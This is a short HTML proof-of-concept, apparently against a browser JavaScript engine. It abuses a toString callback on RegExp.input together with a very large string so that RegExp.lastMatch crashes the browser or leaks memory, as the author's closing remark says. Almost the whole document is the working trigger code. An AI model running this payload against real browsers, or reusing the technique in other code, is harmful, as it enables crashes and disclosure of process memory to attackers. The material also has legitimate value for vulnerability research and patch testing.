<!-- saved from url=(0014)about:internet -->
<script>

function main() {
  RegExp.input = {toString: f};
  alert(RegExp.lastMatch);
}

var input = [Array(10000000).join("a"), Array(11).join("b"), Array(100).join("a")].join("");

function f() {
  String.prototype.match.call(input, "bbbbbbbbbb");
}

main();

</script>

Note that sometimes the PoC results in a crash (I made no attempt to make it reliable) while sometimes it results in pieces of memory being displayed
